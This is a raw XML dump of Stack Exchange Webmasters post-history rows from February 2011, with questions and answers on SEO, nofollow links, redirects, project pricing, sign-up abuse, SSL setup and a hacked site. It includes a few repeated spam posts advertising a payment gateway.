  <row Id="19458" PostHistoryTypeId="17" PostId="8906" RevisionGUID="8d086745-0a44-43cf-b0a5-22831bd6bd17" CreationDate="2011-02-09T05:23:13.713" UserId="-1" Comment="from http://stackoverflow.com/questions/4941515/my-website-has-been-hacked-attacked-says-reported-attack-page" Text="" />
  <row Id="19459" PostHistoryTypeId="2" PostId="8907" RevisionGUID="e39b377b-c326-4a14-8f90-4cca699ddc16" CreationDate="2011-02-09T05:30:07.713" UserDisplayName="user5275" Text="If you want to accept major credit cards and also net banks from Denmark you can try &lt;a href='http://www.gogopay.com'&gt;Gogopay Payment Gateway&lt;/a&gt;. They accept payment in 35 currencies. Check their website www.gogopay.com." />
  <row Id="19460" PostHistoryTypeId="2" PostId="8908" RevisionGUID="acb4d152-a815-45ef-8606-07548f916c17" CreationDate="2011-02-09T05:33:56.863" UserDisplayName="user5275" Text="Try using [Gogopay Payment Gateway][1] where rates of transaction for European customers in 2.6% and payouts for merchants are done weekly. They accept major credit cards and also net banks from Denmark.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gogopay.com" />
  <row Id="19461" PostHistoryTypeId="2" PostId="8909" RevisionGUID="11386f95-b7fc-47cb-ae7a-34079452f64b" CreationDate="2011-02-09T05:37:29.573" UserDisplayName="user5275" Text="You can give [www.gogopay.com][1] a try. They are based in Europe and accepts major credits cards with transaction fee around 1.5% to 2.6%. Their payout days are 7,14 or 28 days. Check their website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gogopay.com" />
  <row Id="19462" PostHistoryTypeId="2" PostId="8910" RevisionGUID="0e2abc93-c7c2-4387-9eb1-9a0dd3135049" CreationDate="2011-02-09T05:51:45.620" UserDisplayName="user5276" Text="Two of my cousins and I started a freelance computer repair/web design business just to make some money on the side during college, and received our first major web design project about three weeks ago. Now we've created websites before, but it was mostly for family businesses and have never really charged money, and most of the websites have been static, and don't really require a CMS. &#xD;&#xA;&#xD;&#xA;This project, however, was a big one (for us anyways). We created a news site that had several categories, we created the banners, we created a classifieds page (not a web app just something static that they control). Several links, a few graphical assets, CSS drop down menu, RSS feed from a different news site, weather, all the normal stuff you would find on a regular news site. On top of that we put in all the usual Joomla stuff (search, Jcomments, Jslide pictures, JCE, etc.). &#xD;&#xA;&#xD;&#xA;Then we uploaded the first 10 articles they gave us, and we are going to train them how to use Joomla. &#xD;&#xA;&#xD;&#xA;Now, at first we decided for 700 dollars. I assumed they just wanted a simple blog like website where they can upload articles. But then we had a meeting, and they asked for a lot more. Note: we did not hard code the template from scratch, but customized the gantry framework to fit their needs. We did code quite a bit however. I estimate that we put in about 50-60 hours in total. &#xD;&#xA;&#xD;&#xA;I'm wondering if 700 dollars is a bit low, this price is definitely not set in stone. Please keep in mind that this is our first project, and we are newbies, please be kind.&#xD;&#xA;&#xD;&#xA;Thank You!" />
  <row Id="19463" PostHistoryTypeId="1" PostId="8910" RevisionGUID="0e2abc93-c7c2-4387-9eb1-9a0dd3135049" CreationDate="2011-02-09T05:51:45.620" UserDisplayName="user5276" Text="First Project a big one, How much should we charge?" />
  <row Id="19464" PostHistoryTypeId="3" PostId="8910" RevisionGUID="0e2abc93-c7c2-4387-9eb1-9a0dd3135049" CreationDate="2011-02-09T05:51:45.620" UserDisplayName="user5276" Text="&lt;website-design&gt;&lt;pricing&gt;" />
  <row Id="19465" PostHistoryTypeId="2" PostId="8911" RevisionGUID="3c200e92-0b17-4663-af7c-7ae8bfb053ec" CreationDate="2011-02-09T06:12:10.737" UserId="2044" Text="I have my blog website with alot of do-follow links posted. If i remove all those links do my search engine ranking gets down or not?" />
  <row Id="19466" PostHistoryTypeId="1" PostId="8911" RevisionGUID="3c200e92-0b17-4663-af7c-7ae8bfb053ec" CreationDate="2011-02-09T06:12:10.737" UserId="2044" Text="Gaining back page rank and seach engine ranking" />
  <row Id="19467" PostHistoryTypeId="3" PostId="8911" RevisionGUID="3c200e92-0b17-4663-af7c-7ae8bfb053ec" CreationDate="2011-02-09T06:12:10.737" UserId="2044" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;sitelinks&gt;&lt;dofollow&gt;" />
  <row Id="19469" PostHistoryTypeId="2" PostId="8913" RevisionGUID="a8dcd05d-6ad8-45e0-8c5b-7dad79f5c8f1" CreationDate="2011-02-09T07:37:45.893" UserId="5037" Text="My company offers a bonus to every client that register.&#xD;&#xA;We would like to prevent people from abusing this by registering several times.&#xD;&#xA;&#xD;&#xA;we thought about filtering clients by &#xD;&#xA; ip (there is a problem with workplaces where all stations have the same ip)&#xD;&#xA; cookies (if cookies are not allowed we might lose a client)&#xD;&#xA;&#xD;&#xA;I would like your opinions on these two methods and will be glad to hear about new ones.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="19470" PostHistoryTypeId="1" PostId="8913" RevisionGUID="a8dcd05d-6ad8-45e0-8c5b-7dad79f5c8f1" CreationDate="2011-02-09T07:37:45.893" UserId="5037" Text="How can I screen clients that try to register multiple times?" />
  <row Id="19471" PostHistoryTypeId="3" PostId="8913" RevisionGUID="a8dcd05d-6ad8-45e0-8c5b-7dad79f5c8f1" CreationDate="2011-02-09T07:37:45.893" UserId="5037" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;registration&gt;" />
  <row Id="19472" PostHistoryTypeId="25" PostId="8913" RevisionGUID="0048f8a7-bf6c-408d-9c7f-8e1a55b79b7a" CreationDate="2011-02-09T08:16:41.773" Comment="http://twitter.com/#!/StackWebmasters/status/35250721989332992" />
  <row Id="19473" PostHistoryTypeId="17" PostId="8915" RevisionGUID="6d73fd7c-4dc6-4ec6-970b-ecd1b00951b7" CreationDate="2011-02-09T08:36:00.867" UserId="-1" Comment="from http://stackoverflow.com/questions/4941889/how-do-search-engines-handle-hyphenated-words/4941993#4941993" Text="" />
  <row Id="19474" PostHistoryTypeId="2" PostId="8915" RevisionGUID="36927a73-07bc-4807-b340-310083456c30" CreationDate="2011-02-09T06:36:57.437" UserDisplayName="Kragen" Text="*Generally speaking* a search engine will treat a dash / hyphen (`-`) as a delimiter, and so split the given words up into multiple tokens (roughly equivalent to words), for example:&#xD;&#xA;&#xD;&#xA;    nineteenth-century = [nineteenth] [century]&#xD;&#xA;    blue-green = [blue] [green]&#xD;&#xA;&#xD;&#xA;Which *usually* means that a search for &quot;word&quot; would potentially match &quot;key-word&quot;.&#xD;&#xA;&#xD;&#xA;The reason for this becomes a little clearer once you start to look at commonly hyphenated words - most of the time&lt;sup&gt;*&lt;/sup&gt; a hyphen is used to combine words that would probably make sense separated, for example *pigeon-hole* vs *pigeon hole*.  Indexing them as two separate tokens allows for a search on &quot;green&quot; to successfully match &quot;blue-green&quot;, which is probably what people would expect.&#xD;&#xA;&#xD;&#xA;Many search engines have additional mechanisms used to weight searches based on the proximity of words, so that (for example) a search for &quot;key word&quot; will show a match against &quot;this is a key word&quot;, higher up in the results than a match against &quot;the key thing is that they are all words&quot;.&#xD;&#xA;&#xD;&#xA;Of course as Ed says - it's completely down to the implementation.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(*) Based on absolutely no evidence / data.&lt;/sub&gt;" />
  <row Id="19475" PostHistoryTypeId="2" PostId="8914" RevisionGUID="480f093f-1ac4-4cc7-b337-0fee65a8b3b4" CreationDate="2011-02-09T06:17:02.263" UserDisplayName="NinjaKC" Text="I am not sure my title fully explains what I mean. I thought this might be an interesting question.&#xD;&#xA;&#xD;&#xA;If I had a set of keywords, broken with a dash or 2, will search engines consider the dashed split keyword as maybe a full keyword?&#xD;&#xA;&#xD;&#xA;Say I have a site that sort of breaks words down, like the dictionary sites do. So a keyword for that page, might end up in the page, and / or the URL, as broken by dashes.&#xD;&#xA;&#xD;&#xA;    Key-word = keyword&#xD;&#xA;    Co-op-er-at-ive = cooperative&#xD;&#xA;    Pho-to-gra-phy = Photography&#xD;&#xA;    &#xD;&#xA;    www.example.com/key-word/&#xD;&#xA;    www.example.com/co-op-er-at-ive/&#xD;&#xA;    www.example.com/pho-to-gra-phy/&#xD;&#xA;&#xD;&#xA;I know search engines will consider a dash (at least Google) as a space, and understand it as multiple words. But in the English language, a dash can also break a word down (at least I think it can, can't it?), so will search engines also take this into consideration? I did a 'little' research, I Googled some words and placed random dashes, and it returned the words I searched for, but this could be considered a typo from the user on Google's search end, so really I am wondering if I can purposely put a dash in a keyword, and have the search engine spiders still catch that keyword as the real word without dashes?&#xD;&#xA;&#xD;&#xA;I've done a little Googling and looking here on Stackoverflow, but everything comes down to dashes for multiple words, not really the specific thing I'm trying to figure out.&#xD;&#xA;&#xD;&#xA;Hopefully that makes sense, I am not an expert in SEO, yet, but get the basics and have been playing, and this is just really a random question to satisfy my knowledge of playing :P" />
  <row Id="19476" PostHistoryTypeId="1" PostId="8914" RevisionGUID="480f093f-1ac4-4cc7-b337-0fee65a8b3b4" CreationDate="2011-02-09T06:17:02.263" UserDisplayName="NinjaKC" Text="How do search engines handle hyphenated words?" />
  <row Id="19477" PostHistoryTypeId="3" PostId="8914" RevisionGUID="480f093f-1ac4-4cc7-b337-0fee65a8b3b4" CreationDate="2011-02-09T06:17:02.263" UserDisplayName="NinjaKC" Text="&lt;keywords&gt;&lt;information-retrieval&gt;" />
  <row Id="19478" PostHistoryTypeId="17" PostId="8914" RevisionGUID="6c76e4e2-f104-4f30-8156-df3a1f67235a" CreationDate="2011-02-09T08:36:00.867" UserId="-1" Comment="from http://stackoverflow.com/questions/4941889/how-do-search-engines-handle-hyphenated-words" Text="" />
  <row Id="19479" PostHistoryTypeId="2" PostId="8916" RevisionGUID="63adad55-f55d-46ec-a5e2-64bcaeeeaa95" CreationDate="2011-02-09T09:16:34.150" UserId="1064" Text="You will not be able to prevent people from registering as many times as they like - losing game, even if you implement IP tracking, phone number or SMS verification, et cetera (if you're giving away something worth money, I can assure you that someone out there will gladly game your system).&#xD;&#xA;&#xD;&#xA;Do not provide anything free unless you can literally afford to give it away.&#xD;&#xA;&#xD;&#xA;I'd provide a *discount* to first-time purchases and then use the payment information to determine whether or not the individual making the purchase has purchased before." />
  <row Id="19480" PostHistoryTypeId="2" PostId="8917" RevisionGUID="9f2b8b39-62cc-4399-b385-6b0b0fc4b7c3" CreationDate="2011-02-09T10:17:34.227" UserId="3948" Text="Examining several different websites that do redirects (from TLD to language subfolders), I discovered that beside sending a 302 HTTP header, some send differents strings:&#xD;&#xA;&#xD;&#xA;Some send `&quot;302 found&quot;`, others send `&quot;302 object moved&quot;`.&#xD;&#xA;&#xD;&#xA;**Regarding SEO, my question is:**&#xD;&#xA;&#xD;&#xA;Does the string description matter to Google and Bing, or are they simply evaluating the HTTP header numbers (301, 302, etc.)?" />
  <row Id="19481" PostHistoryTypeId="1" PostId="8917" RevisionGUID="9f2b8b39-62cc-4399-b385-6b0b0fc4b7c3" CreationDate="2011-02-09T10:17:34.227" UserId="3948" Text="Redirect &quot;302 found&quot; vs &quot;302 object moved&quot;" />
  <row Id="19482" PostHistoryTypeId="3" PostId="8917" RevisionGUID="9f2b8b39-62cc-4399-b385-6b0b0fc4b7c3" CreationDate="2011-02-09T10:17:34.227" UserId="3948" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="19483" PostHistoryTypeId="5" PostId="8916" RevisionGUID="834a9be6-6e73-42e8-901d-8c84257d5660" CreationDate="2011-02-09T10:27:31.897" UserId="1064" Comment="Added suggestions" Text="You will not be able to prevent people from registering as many times as they like - losing game, even if you implement IP tracking, phone number or SMS verification, et cetera (if you're giving away something worth money, I can assure you that someone out there will gladly game your system).&#xD;&#xA;&#xD;&#xA;Do not provide anything free unless you can literally afford to give it away.&#xD;&#xA;&#xD;&#xA;I'd provide a *discount* to first-time purchases and then use the payment information to determine whether or not the individual making the purchase has purchased before.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit:** I understand that the limited free offering is central to your business, so my best advice would be to weigh the cost of abuse against the cost (and pain) of preventing abuse ... if you're giving away access to a file or web-based service, for example, the total cost of providing your sign-up with the offer and potential profit lost on abuse probably wouldn't justify a $5.00/signup expenditure on abuse prevention.&#xD;&#xA;&#xD;&#xA;You have not described the registration process, but I can tell you off-hand that there is nothing you can do with the information in an HTTP request to confirm with any degree of certainty that the individual issuing the request has not signed up before. &#xD;&#xA;&#xD;&#xA;You need identity information from your signups to verify with an out of band (i.e. not based on an HTTP request) solution - preferably one which makes sense to your users so they feel comfortable providing you with the information, is convenient and inexpensive for you to verify automatically, and is reasonably difficult to forge. Pick two :)&#xD;&#xA;&#xD;&#xA;Assuming you can ask your signups just about anything, here are some options:&#xD;&#xA;&#xD;&#xA;* **E-mail Address Verification** - A unique e-mail address is easy to come by, but if the financial motivation to abuse your offer isn't very high, it might be a sufficient deterrent to abuse. You could also require an &quot;official&quot; e-mail address, depending upon your clientele (i.e. do not accept addresses hosted with free e-mail providers, insist on corporate domains or private domains)&#xD;&#xA;* **Telephone Number Verification** - A numeric code is e-mailed to your signup and then an [IVRU][1] dials out to your signup, who must enter the code to confirm his or her account. This option could become expensive and will likely be error-prone if you have a geographically-diverse client base - additionally, if the value of your free offer is significant, you should know that pre-paid cell phones provide an inexpensive way to acquire new phone numbers and it may or may not be practical to segregate land line providers versus mobile providers (again depending upon your client base).&#xD;&#xA;* **Identity Verification** - People hate dealing with this and it is expensive, but if you're giving away something expensive like a weekend at a timeshare, it may make sense and be considered acceptable by your clientele. You can be reasonably sure you know who is responding if you request a photocopy of government-issued identification.&#xD;&#xA;* **Payment Verification** - Some merchant account gateway providers offer $0.00 authorization holds - great way to find out whether your client has a valid card, however, there's no guarantee they have funds to pay for anything with this method and the cardholder's name will not be verified as part of the process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you would like to investigate telephone number verification, I'd recommend that you check out [MaxMind][2] - I am not aware of any truly independent firms which match MaxMind's offerings for price and effectiveness. (MaxMind's services support many white-label resellers)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Interactive_voice_response&#xD;&#xA;  [2]: http://www.maxmind.com/" />
  <row Id="19484" PostHistoryTypeId="2" PostId="8918" RevisionGUID="12eba29a-00f4-4ca5-a8d7-b4087b7a1e06" CreationDate="2011-02-09T10:35:12.710" UserId="233" Text="Search engines usually index the separate words rather than the phrase as a whole. So in your example it would index `key` and `word` but not `keyword`.&#xD;&#xA;&#xD;&#xA;However, search engines are also very well-versed in synonyms so if there are enough non-hyphenated versions of the word out there, they will likely become associated.&#xD;&#xA;&#xD;&#xA;For example, if you search for `key-word`, Google says &quot;Did you mean: keyword&quot; and shows results for `keyword`. Furthermore, a search for `free-standing` the top result is for Merriam-Webster's dictionary entry for `freestanding`." />
  <row Id="19485" PostHistoryTypeId="2" PostId="8919" RevisionGUID="cd48619d-e0e4-4fdb-9659-fadbabb692c4" CreationDate="2011-02-09T10:50:14.560" UserId="4502" Text="There's no fixed answer to this. You charge what you think you're worth, based on skills, experience, etc. Now, in simple mathematical terms, $700 over 60 hours is a bit less than $12 an hour. You might want to have a look at the &lt;a href=&quot;http://aneventapart.com/alasurvey2009/03.html&quot;&gt;salary results&lt;/a&gt; of the 2009 A List Apart survey(I don't think last year's have been published yet.) It's based on yearly salary–there are simple calculators on-line you can use to extrapolate–but also broken down by age group, experience, etc. which will also factor in.&#xD;&#xA;&#xD;&#xA;Moving into more subjective territory, with the limited information above I do think this is rather low and that you'll basically be losing money on it at $700, especially split three ways. As just one data point, some initial searching–I don't work with Joomla–turns up installation services ranging anywhere from $50-300. Note: just for &lt;em&gt;installing&lt;/em&gt; the software." />
  <row Id="19486" PostHistoryTypeId="2" PostId="8920" RevisionGUID="174c3ce7-b560-4df7-a48d-3ab89ff8e62c" CreationDate="2011-02-09T10:59:41.307" UserId="4502" Text="There's no such thing as &quot;do-follow.&quot; At best it's just any link that &lt;em&gt;doesn't&lt;/em&gt; have nofollow applied to it.  &#xD;&#xA;So what exactly are you referring to? If you've got a bunch of links on your site that look like&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://example.com&quot; rel=&quot;dofollow&quot;&gt;text&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;...I can't imagine they're making any difference at all, good *or* bad." />
  <row Id="19487" PostHistoryTypeId="2" PostId="8921" RevisionGUID="a7379887-c2b7-484c-a6c1-757fcf9f9118" CreationDate="2011-02-09T11:04:08.180" UserDisplayName="user5283" Text="I work for a company that wants to redesign its website, and I've been asked to find a firm to do this. I've searched online and there are too many agencies! Are there any websites where companies can post a brief of what they want done, and agencies can read through and contact the company directly if the brief is of interest? If it makes any difference we're based in the UK." />
  <row Id="19488" PostHistoryTypeId="1" PostId="8921" RevisionGUID="a7379887-c2b7-484c-a6c1-757fcf9f9118" CreationDate="2011-02-09T11:04:08.180" UserDisplayName="user5283" Text="Are there any sites where I can submit a brief for a website?" />
  <row Id="19489" PostHistoryTypeId="3" PostId="8921" RevisionGUID="a7379887-c2b7-484c-a6c1-757fcf9f9118" CreationDate="2011-02-09T11:04:08.180" UserDisplayName="user5283" Text="&lt;website&gt;" />
  <row Id="19490" PostHistoryTypeId="2" PostId="8922" RevisionGUID="e8a30111-4f9e-490b-9456-b58e98084083" CreationDate="2011-02-09T11:15:49.387" UserId="5282" Text="I've answered my question...&#xD;&#xA;&#xD;&#xA;After using google to search for this page specifically, with the following keywords (or other variations)&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com: &quot;keyword&quot; Cooperative &quot;Photography&quot;&#xD;&#xA;&#xD;&#xA;You'll find that a little ways down the results, this page was found. The 'strong' words being &quot;Cooperative&quot; and &quot;Co-op&quot; leaving out the rest. To get a solid match, you 'must' type the spaces. So, &quot;Pho-to-gra-phy&quot; != Photography, it will match, as expected, if each section of the word was split by spaces or hyphens in the search query. So, to answer my question, since if google cant do it, then it's pointless to try any more.&#xD;&#xA;&#xD;&#xA;If you have words on your site that require hyphens at the syllable's of the word, or anywhere else for any reason (OF 1 WORD SPLIT UP, NOT MULTIPLE WORDS), it will not get crawled as a keyword of the original word. This is all I needed to know.&#xD;&#xA;&#xD;&#xA;Thanks everyone for the prompt replies." />
  <row Id="19491" PostHistoryTypeId="25" PostId="8917" RevisionGUID="02866f65-8c81-446a-a33d-d8e5738258f7" CreationDate="2011-02-09T11:16:42.040" Comment="http://twitter.com/#!/StackWebmasters/status/35296021017931776" />
  <row Id="19492" PostHistoryTypeId="2" PostId="8923" RevisionGUID="bb085b7e-e5d2-4f81-b14b-785caa301d17" CreationDate="2011-02-09T11:47:49.783" UserId="3467" Text="It depends on many factors. First of all, if you have any traded or paid-for links on your site (banners, affiliate links, etc.) you should definitely `nofollow` them. The webmaster guidelines are very specific in this: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66736&#xD;&#xA;&#xD;&#xA;Concerning other links, you should take a look what is being linked to. `Nofollow` should ideally be used for links that you do not necessarily vouch for. Followed links to related content on normal/trusted websites can't hurt you, and in fact it is often said that Google promotes it, maybe even rewarding you for linking out to respected sites with related subjects. &#xD;&#xA;There is no official source confirming this, but since Google is all about finding the most relevant results, a followed link to a relevant site would only benefit the search results. It wouldn't surprise me at all if websites indeed get (a small) pagerank reward when they have some followed links to related sites.&#xD;&#xA;&#xD;&#xA;Then of course there's links you have less control over. Many sites automatically nofollow links posted by users (in comments, in user profiles/signatures, etc.) because they don't know if they can vouch for them. In their perspective, it's better to prevent damage by nofollowing all external links than risking spammers coming over and placing affiliate links on the website, which might do damage to the site.&#xD;&#xA;&#xD;&#xA;In many other cases though, like a couple of blogs I run, a lot of the comments are moderated anyway. If someone posts a comment with a link in the text or in their user info, I check to see what it is. That way, I can remove bad links and know that the links that do get through are good enough for me to not nofollow it. &#xD;&#xA;&#xD;&#xA;In fact, I personally think using too much of nofollow only hurts the web in it's entirety, but that's another [story][1]. (&lt;-- this link is nofollowed by StackExchange because they can't tell if it's a good link or not. However, in my opinion if this post would get like 5 upvotes or something that might tell them the link can't be all that bad, and in my opinion it should be followed. Keep on dreaming...)&#xD;&#xA;&#xD;&#xA;So in short: ruthlessly nofollowing all your links might get rid of some bad links on your site, but on a whole I don't think it's the best solution. Start with paid/traded links and unmoderated user-submitted links and I think you've got 99% of it covered.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.stephanmuller.nl/nofollow-external-links-bad/" />
  <row Id="19493" PostHistoryTypeId="2" PostId="8924" RevisionGUID="c9e2379f-ffd6-432f-9b7c-623413e9ea1f" CreationDate="2011-02-09T12:42:24.897" UserId="1253" Text="[Elance][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.elance.com/" />
  <row Id="19494" PostHistoryTypeId="2" PostId="8925" RevisionGUID="7cc09849-c94e-4b1d-917a-feb6a6f84b66" CreationDate="2011-02-09T12:43:55.410" UserId="1253" Text="No. The number (302) tells them what they need to know. The words are just to make humans happy. If someone uses the wrong words it's no big deal. But if you use the wrong number it will affect how user agents handle them." />
  <row Id="19495" PostHistoryTypeId="6" PostId="8911" RevisionGUID="872d1e06-0e20-436e-8e90-581b89944a11" CreationDate="2011-02-09T12:47:45.330" UserId="1253" Comment="Removed &quot;sitelinks&quot; and &quot;backlinks&quot; links" Text="&lt;seo&gt;&lt;dofollow&gt;" />
  <row Id="19497" PostHistoryTypeId="2" PostId="8926" RevisionGUID="b5829805-0cea-413c-947c-ebf6daa47a55" CreationDate="2011-02-09T13:21:57.017" UserId="3718" Text="A friend of mine wants to build a website, but doesn't want people in the West Midlands area of the UK to be able to see it, but wants areas outside of the West Midlands to be able to see it.&#xD;&#xA;&#xD;&#xA;Is this possible? I know SEO can be used to target specific countries to improve search results, but could it be used to target specific areas inside a country and to basically remove the website from Google listings for a specific area?&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="19498" PostHistoryTypeId="1" PostId="8926" RevisionGUID="b5829805-0cea-413c-947c-ebf6daa47a55" CreationDate="2011-02-09T13:21:57.017" UserId="3718" Text="Using SEO to hide a website in a specific location?" />
  <row Id="19499" PostHistoryTypeId="3" PostId="8926" RevisionGUID="b5829805-0cea-413c-947c-ebf6daa47a55" CreationDate="2011-02-09T13:21:57.017" UserId="3718" Text="&lt;seo&gt;&lt;google-search&gt;&lt;local-seo&gt;" />
  <row Id="19500" PostHistoryTypeId="2" PostId="8927" RevisionGUID="fa3f02f0-19ed-4429-b314-d72bc4c5d117" CreationDate="2011-02-09T13:38:40.823" UserId="1064" Text="You can use the [robots.txt][1] protocol to optimize your site for invisibility with major search engines, but (so far as I am aware) there is no way to restrict this facility by region.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="19501" PostHistoryTypeId="2" PostId="8928" RevisionGUID="d9f0c68c-1750-4bba-bfca-6d8d1c40c6c1" CreationDate="2011-02-09T13:52:02.983" UserId="4780" Text="You apparently have a security vulnerability in your code.&#xD;&#xA;&#xD;&#xA;You need to fix the vulnerability and remove all traces of the attack from your database and/or files." />
  <row Id="19502" PostHistoryTypeId="2" PostId="8929" RevisionGUID="cf6c5d83-5d27-4a5e-a113-3e253dc168f3" CreationDate="2011-02-09T14:12:01.153" UserId="1253" Text="You can't reliably and effectively block a specific region from viewing a website. The way the Internet works there is no definitive way to say a visitor is from a specific geographic location. The best you can do is to use Geolocation to try to determine their location and then ban them if they meet a predetermined criteria. Unfortunately this is not reliable and you not only will it still allow some restricted users through but also block users who should be able to get through. Basically this won't work in a reasonable way and shouldn't be considered doable. " />
  <row Id="19503" PostHistoryTypeId="5" PostId="8906" RevisionGUID="5c665bca-26ad-439e-b270-573c071edad9" CreationDate="2011-02-09T14:12:31.137" UserId="4131" Comment="Retagged, spelling. " Text="Three days back my website http://www.ganapatihegde.com has been hacked/attacked by some hacker. Now, when anyone tries to see my website, it says &quot;Reported Attack Page!&quot;. I am using server provided by http://freehostia.com. I contacted them, but they say they don't provide any &quot;site script debugging service&quot;. How can I get my website back?&#xD;&#xA;" />
  <row Id="19504" PostHistoryTypeId="4" PostId="8906" RevisionGUID="5c665bca-26ad-439e-b270-573c071edad9" CreationDate="2011-02-09T14:12:31.137" UserId="4131" Comment="Retagged, spelling. " Text="My website has been hacked/attacked, says &quot;reported attack page&quot; " />
  <row Id="19505" PostHistoryTypeId="6" PostId="8906" RevisionGUID="5c665bca-26ad-439e-b270-573c071edad9" CreationDate="2011-02-09T14:12:31.137" UserId="4131" Comment="Retagged, spelling. " Text="securityhacking" />
  <row Id="19506" PostHistoryTypeId="24" PostId="8906" RevisionGUID="a736e230-2eaf-4de0-b55a-e8358f757969" CreationDate="2011-02-09T14:12:31.137" Comment="Proposed by 4131 approved by 1253 edit id of 9" />
  <row Id="19507" PostHistoryTypeId="25" PostId="8926" RevisionGUID="7607e1e1-11ad-419b-8af3-a7b24a2bdfae" CreationDate="2011-02-09T14:16:41.527" Comment="http://twitter.com/#!/StackWebmasters/status/35341318070738944" />
  <row Id="19508" PostHistoryTypeId="2" PostId="8930" RevisionGUID="475773b3-3164-44f6-a232-e9f328913eb7" CreationDate="2011-02-09T14:22:52.673" UserId="1253" Text="This won't make any difference. [Links with nofollow do not change the way PR s distributed in your website. PR is still &quot;transferred&quot; to nofollow links, the linked to sites just don't get it.][1] So you won't be &quot;sending&quot; any more PR to your internal pages and thus not affecting your internal pages PR or rankings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="19509" PostHistoryTypeId="6" PostId="8911" RevisionGUID="e2a5130b-86ca-4c10-b36a-1953bb252801" CreationDate="2011-02-09T14:25:18.693" UserId="1253" Comment="Added &quot;pagerank nofollow&quot; tags" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;nofollow&gt;&lt;dofollow&gt;" />
  <row Id="19510" PostHistoryTypeId="2" PostId="8931" RevisionGUID="c67891b4-9960-4bb9-9fe0-5a74faf6e06e" CreationDate="2011-02-09T14:26:38.530" UserId="835" Text="Some people have gone to [Wizard Media](http://wizzard.tv/) you may want to check that out as well." />
  <row Id="19511" PostHistoryTypeId="2" PostId="8932" RevisionGUID="bac5904f-c3d7-45c2-8287-aaee1d86f3e9" CreationDate="2011-02-09T17:17:43.583" UserId="5148" Text="Try crawl your site using a fake user agent ID matching Googlebot. (e.g. A1 Website Analyzer allows you change user agent ID) &#xD;&#xA;&#xD;&#xA;Some website/webserver &quot;protection&quot; systems also test on if e.g. robots.txt get requested, simultaneous connections etc. You can try run some tests to see how agressive your (if any) protection system its.&#xD;&#xA;&#xD;&#xA;However, if your server admin himself states they have an anti bot system then... likely that is the reason. &#xD;&#xA;&#xD;&#xA;for future you could try add crawl-delay to robots.txt" />
  <row Id="19512" PostHistoryTypeId="25" PostId="8921" RevisionGUID="8a7a6b3f-72a8-48de-941d-1917377c9463" CreationDate="2011-02-09T17:22:27.797" Comment="http://twitter.com/#!/StackWebmasters/status/35388068357877760" />
  <row Id="19517" PostHistoryTypeId="17" PostId="8935" RevisionGUID="5fcd6586-c8bd-479a-82b0-e1ebdf6d821d" CreationDate="2011-02-09T20:42:58.863" UserId="-1" Comment="from http://stackoverflow.com/questions/4949318/i-seek-information-about-adding-ssl-to-a-website/4949561#4949561" Text="" />
  <row Id="19518" PostHistoryTypeId="17" PostId="8936" RevisionGUID="bc4f2efc-2a04-4066-b1f8-aa8bd588c3ce" CreationDate="2011-02-09T20:42:58.863" UserId="-1" Comment="from http://stackoverflow.com/questions/4949318/i-seek-information-about-adding-ssl-to-a-website/4949581#4949581" Text="" />
  <row Id="19519" PostHistoryTypeId="17" PostId="8937" RevisionGUID="84d2f0ec-c331-4023-9c70-6f93d7367da5" CreationDate="2011-02-09T20:42:58.863" UserId="-1" Comment="from http://stackoverflow.com/questions/4949318/i-seek-information-about-adding-ssl-to-a-website/4949588#4949588" Text="" />
  <row Id="19520" PostHistoryTypeId="2" PostId="8935" RevisionGUID="bd180378-9843-4bee-a2c9-37df76832d64" CreationDate="2011-02-09T19:33:11.873" UserDisplayName="Marco" Text="Maybe this is going to help you.&#xD;&#xA;&#xD;&#xA;http://www.digicert.com/ssl-certificate-installation.htm&#xD;&#xA;&#xD;&#xA;They work if you want to install the certificate, in other words, that you own the server in which you are hosted, but in sites hosted like in godaddy, etc, you buy the ssl certficate and the installation is done almost automatically from there.&#xD;&#xA;&#xD;&#xA;So it depends, but the document from digicert can give you the main idea of the installation in different platforms.&#xD;&#xA;&#xD;&#xA;btw- Yes, it is a security protocol only, the &quot;configuration&quot; it's part of the certificate, so the communication is encrypted and that's it.&#xD;&#xA;&#xD;&#xA;Marco," />
  <row Id="19521" PostHistoryTypeId="2" PostId="8936" RevisionGUID="e15f9a34-d774-4f69-a691-e82749d71eee" CreationDate="2011-02-09T19:35:28.270" UserDisplayName="Waqas Raja" Text="Here you found with diagram; Secure Socket Layer. [How SSL Security Works?][1]&#xD;&#xA;&#xD;&#xA;It is a certificate, you need to configure it on you web server to protect your website.&#xD;&#xA;&#xD;&#xA;In case of IIS&#xD;&#xA;&#xD;&#xA;First you need to generate a Server Certificate Request to get SSL certificate.&#xD;&#xA;&#xD;&#xA;In **IIS Manager** -&gt; **Right click your website** -&gt; **Select Directory Security Tab** -&gt; **Click Server Certificate button** to generate a request.&#xD;&#xA;&#xD;&#xA;You need to obtain a certificate from a **Certification Authorities**&#xD;&#xA;&#xD;&#xA;More about [SSL and Certificates (IIS 6.0)][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.verisign.com/ssl/ssl-information-center/how-ssl-security-works/&#xD;&#xA;  [2]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/559bb9d5-0515-4397-83e0-c403c5ed86fe.mspx?mfr=true" />
